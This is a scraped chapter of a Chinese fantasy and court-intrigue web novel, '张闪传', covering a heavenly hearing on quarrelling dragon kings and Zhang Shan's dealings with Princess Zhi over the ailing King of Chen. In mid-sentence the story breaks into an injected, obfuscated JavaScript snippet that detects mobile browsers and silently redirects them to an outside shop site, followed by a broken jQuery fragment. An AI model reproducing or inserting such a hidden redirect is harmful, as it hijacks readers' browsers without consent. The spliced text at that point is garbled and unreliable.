文趣网 > 其他小说 > 张闪传 > 74. 第七十四回 天水缠龙王劝星君,野心盛公主觑陈王
    梆梆梆,三声毕,水运星君来开了门。

    “又是星君亲自来开门,小童呢?”

    “修炼去了,你知道我向来不喜麻烦她们。”

    此番对话重复过几千几万次,水运星君与西海龙王都记不清了。

    敖逸今日饮了些酒,偏要问道:“星君是只在我来时,赶走小童罢,想听我说些私密话?”

    “酒气呛得我头晕,百种花同时开放,都遮不住的。”

    西海龙王听闻,便移开了些,头半靠在门上,半认真半开玩笑地道:“星君可要离我远些了,我也不便时时来找星君。三位龙王尽被叫去问话,我也逃不过去,星君理应避嫌。”

    “你又没做什么。”水运星君不自在地说。

    “三海龙王闹得天翻地覆,独我无事,不参与其间,肯定是知道什么。我的星君,这难道不是欲盖弥彰吗?”

    “那你总同我在一处,是为了……”

    赤羽三头鸟凌云而来,叫声打断水运星君未说完的话。神鸟收起彩色的爪,朝星君和龙王行过礼。

    “王母召西海王于凌霄殿中相见。”

    水运星君会找地方,白云掩映间,辟出一片清净自在地。此时赤羽三头鸟来,周身光亮映照周边云朵,天地满是金红。

    “我也去。”热烈景象和冷淡的水运星君不大相配,却也好看。

    三头鸟朝西方飞去,呼啸无踪。

    水运星君还没见过东海王敖旷更狼狈的模样。四大龙王之首,把自己究竟搞成了什么,还和凡人作对,十分令人不齿。

    星君只看了一眼,便收回目光,向王母问好,并说明,是因为西海龙王到她住处去,两人遇上,才一并前来。

    当然了,王母的脸色也是十分不好看。

    南海王也如是,北海王也如是。

    要是有神仙黑脸比赛,那真是难分伯仲,战况激烈。

    想到这,水运星君甚至浅浅一笑。

    “还有谁要申诉的,或有什么不明白的,赶快说来。”王母沉声道。

    “小龙的夜明珠的确不见,那是我南海宝物,怎会随意落入凡间,分明就是它北海作的孽!”

    化雨珠回归,南海王敖苍气色见好,只是神情十分狰狞,抵消了好气色。

    “伯父不必避重就轻,挑我们的错,泼脏水!退一万步说,夜明珠真是我拿的,陪你一万颗也就罢了,你因为少了颗珠子,竟在南天门同我父亲打斗,还和凡间女子过不去,你配做这龙王吗!”破海公主怒斥南海王。

    “逆子闭嘴!”

    要不是此刻在王母跟前,北海王敖茫恐怕要抽出鞭子来了。

    水运星君默默看着几龙拌嘴的大戏,想着此刻若是能躺着就好了,那必定更舒服。

    “水运星君。”

    “是。”星君连忙答应。

    “既然你也同来,又和水族颇为亲近,我来问你,西海王与此事是否相干。”

    她看了看西海龙王敖逸。仍是一副淡然处之,诸事与我不相干的模样。

    十分超然,千分美丽,万分招人恨。

    “据小仙所知,西海王同其他三位并无过甚交集,乃至南海、东海二王频频有言语针对,西海王也只是一笑而过。”

    水运星君这话,两老龙没法反驳。有什么好反驳的,真话。

    破海其实有几分像敖逸,但她太刚烈了,一举一动正直又直率得不行,妄图凭真本事混出名堂。

    水运星君刚观察一会儿,就听见王母说道:“东海、南海二龙王,身居要位,却不为表率之功,反乱天庭之纲,现责令二龙暂居中天,待吾与众仙商议后,再做安排。”

    中天乃是“天上监狱”,茫茫一片不见边际的云,时间与空间全部凝固,让人不憋死也得郁闷死。

    “西海王敖逸暂理东、西两海之事,南海王之妹敖簪暂理南海事,待商议已定,再做打算。”

    说罢,赤羽三头鸟飞过,云幕上升,凌霄宫便隐于雾中了。

    一直卧在一旁的敖簪不无震惊地抬起头,正对上面无波澜的西海王敖逸。

    旁有仙侍,前来恭喜敖逸与敖簪。

    水运星君想了想,走到一旁,看看怒意不散的破海公主。

    “怎么年纪轻轻,如此爱生气,你是修炼不够。”

    “我是高兴,能给凡间人争口气,哪怕我失了王母的宠爱也不要紧。”

    水运星君哑然。她鼓励似地握了握破海的手,缓步走去。看来,要自己一人回去了。

    忽有人扯住了她袖子。

    “怎么星君来时同来,去时便要舍了我,独自离去?”

    “是龙王独自主事两海,没空理我了才是。”水运星君笑笑。

    敖逸和她并肩走,龙的身形和气质无一不优越,极引人注目。

    “星君怎么不和我说话?”

    敖逸又欲拦住水运星君的肩膀,却被轻巧躲过了。

    “我只是好奇,夜明珠此物宝贵,怎么就轻易丢了,两位龙王还都说不是自己的错。”

    水运星君的表情极悠然,却让人觉得远得像天边霞,海底针,仿若放松了一点,就再也够不到了。

    因此敖逸轻声道:“当初南海送去聘礼,大剌剌借道西海,南海王其子顽劣非常,我取了点过路费而已。”

    “果然。”水运星君点头。

    “那日南天门争斗,我见到南海王从体内勾出东西,于是我晃了他一下。没别的,我只想他输而已,毕竟……”

    “用什么晃的?”

    “龙鳞。”西海王几乎是没犹豫地说了。

    水运星君还是点头。

    “龙王好耐心,与我共处多日,只为我有朝一日能给你作证,和海中种种波澜不相干,是最尽职尽责又干干净净的龙王。”

    敖逸扯她袖子的力气大了些。“我若是这样想,又怎会……”

    怎会日日接近,持续交好,假情假意?

    “怎会和星君说这些实话。你若怀疑,大可去参我一状,我甘愿受罚。”

    敖逸松开了手,不再抓着她袖子,一副认命的模样,看起来死龙一般,脸色还不如那边三位呢。

    明明得偿所愿,将要主理东海,却舍下众人,忙忙地来解释。其实神仙用手段的时候多了去了,亦不分贵贱,总有不堪。

    “我知晓了。”

    水运星君向前走去,只是很慢。

    “我是否还能上门叨扰?”敖逸穷追不舍。

    “你随便。”星君扔给她一句。

    西海王便加快了腿脚,将头半放在水运星君颈窝中。

    “痒,快给我松开。”星君推她。堂堂龙王,屈着膝缠人,成何体统。

    “星君原谅,我便挪开。”

    “这样罢,你带我去看看那位顶撞神仙的凡人?我还颇有些好奇。”

    敖逸惊道:“你怎么知道我认识?”

    水运星君一副“不然呢”的表情,龙王没话了。

    “走罢,人间大约过去许久了,我也没在近处看过她,刚好一观。”

    张闪打了个喷嚏。蔓儿马上给她披上一件藕色织缎袍子。

    “小将军别着凉了。”

    “无事,只是好像谁在念叨我。”

    张闪一笔一笔勾得认真,蔓儿凑近看时,才发现竟然不是在写字,而是画画;两片叶子十分相似,缀在竹简的两侧。

    “小将军,这是……”

    “甘草与槐实,其叶有几分相似。甘草可解金属器械所致创伤,将士们用的多,而槐实,可止血热妄行引起的吐血。”

    “哦……那就是陈王之病,槐实可医?”

    张闪合上竹简,弹了她脑袋一下。

    “少有病症可用一种药材治愈,譬如甘草,乃百方之基,多味药配佐,方可治病。我不过是书简看累了,画些解闷儿,要真学得去找云风。”

    蔓儿捂着脑袋,而立之年已过了这么久,怎么还爱弹自己!

    可是自己还管她叫小将军呢……

    “小将军是担心陈王的病?”

    陈武王这病,是听闻吴国吞了南方小国宁国后得的。

    近几年陈国广积粮,确实并未太向外征伐。张闪想,陈王心中必定凝结有郁气,此次听说老仇人又有动作,这些年积攒的不平之气一齐发作,才忽然病了。

    但是吴国早混入了陈地收买的人,不仅吴国,几乎哪国都有陈之眼线,其一举一动尽在陈之目中。看吴王的样子,实在不必担忧至此。

    但还能如何呢,病势是最不可拦的。否则,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651497|206865||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萧王也不会缠绵病榻三年后骤然离世,据说离世前失禁,十分没有尊严。

    去世那夜,萧王忽然双目圆睁,抓住侍者的手臂,高声道:“不可再扰张闪,使天震怒!”

    说实在话,张闪也不知道萧王说没说,她倾向于是没说,那时候哪里还有力气。

    但陈王说他说了,就是说了。如此一来,天下都不能再和张闪计较,说什么,她害死了萧天子。

    小时候公子石以权力,让她被天下人造谣;这时竟然翻过来,陈王以权力,让谣言止息。

    窗户忽然动了。张闪侧头听一听,就知道了来人。

    “今日绰去侍疾,后来王上说什么没有?”

    雉和云风都爱走窗户,一言不发就闯进来。张闪因此换了特制的翻转式木窗,方便二位闯入而不损坏建筑;云风做的。反正就算有贼,张闪也不怕。

    云风倒还好,雉堂堂公主,隔几日就要夜间出来,也没人管。问就是她是陈王妹妹,无人在意。其实明明第二日张闪进宫,就能见到了。

    “没有,难道还要天天夸他不成?”

    “绰的确是最受喜爱的,但现下年龄尚小,继位恐有阻碍,王兄还不能死。闪,我们要想办法救他。”

    张闪看看自己这小学生,好奇,小小年纪,怎么做到句句死罪的。

    更重要的,从未尊师重道,向来直接叫她闪。

    “御医自会尽力。况且凭你的才智,还有时间换一个。”

    “那怎么行!惟有公子绰母家是上卿的门人,且家中子息微薄,无人可依赖只可靠我。人人皆知我与他亲近,现在换,岂非掩耳盗铃?”

    张闪看着她轻笑。雉对上自己时怎么总是毛毛躁躁。

    “你知道是吧,哄我是吧?不行,叫云风来治。”

    ……

    谁信这是颇有心计的王兄之妹,三公主?

    况且,那可是你姐姐,怎么如此无礼。张闪暗自腹诽。

    如今陈国太子之位尚未定下。公子绰最为沉稳,被他仅大几岁的姑姑看着,学了许多东西,聪慧却不及长子祁,但做事条分缕析,自有理事之法。重聂则拥护公子祁,人尽皆知。

    此外,陈王还有三子,二子小时得病,生得怯懦,最小的两公子不及五岁。

    半年前,长子祁被下了毒,命救回来,却至今畏寒。原来是有个曾被公子祁抛弃的姬妾,其父怀恨在心,这才趁陈王等出来祭祀时,在公子祁水中投下毒草的种子,欲要其命。

    张闪不是没怀疑过是雉或公子绰做的,但真的半分痕迹也无。

    陈王大怒,认为公子祁既不知礼,身体又弱了,便不如从前般喜爱。

    “他小聪明太多,不似我们绰,踏踏实实。”雉是这么说的。

    但是绰确实年纪尚小。

    “云风要给兵士医治,宫中自有御医。”

    啪——

    云风翻窗而入。

    张闪闭了闭眼。话还热乎的呢,这人怎么这么给小姑娘面子啊?

    “这回乌头的毒去除得干净,你要不要尝尝,张澄霁。”

    “……”

    去年云风自己炮制乌头,自己尝,中毒了险些把张闪吓死。好在她底子太好,又提前备了解药,这才缓过来。

    “怎么又来,自有更懂这东西的。”张闪看着云风捏着的黑片儿,没话说,“况且我又没邪症,平白无故吃它做甚!”

    雉也过去闻了闻,道:“但是乌头萃出的汁液,可用于箭上,还不算没用。”

    姐妹俩怎么一个成天想着如何害人,一个总想着如何救人。

    “公主也在。”云风打过招呼。

    “这么多年,都是张闪帮你找母亲,是不是?”雉对云风说。

    阿闪一口水险些没喷出来。

    云风点点头。但一直没结果。

    “借你几日,给我父王救治,往后我也替你找母亲。”雉大手一挥,恩赐云风。

    张闪在后面僵硬地摇头,可惜云风目光只在这小崽子身上。

    “陈王有疾,医者自然汇聚其旁,我恐怕帮不上什么忙。”

    “是啊……”

    “你能,你有功夫。”雉笑,“我准保你得到了你想要的。”

    后事如何,下回分解。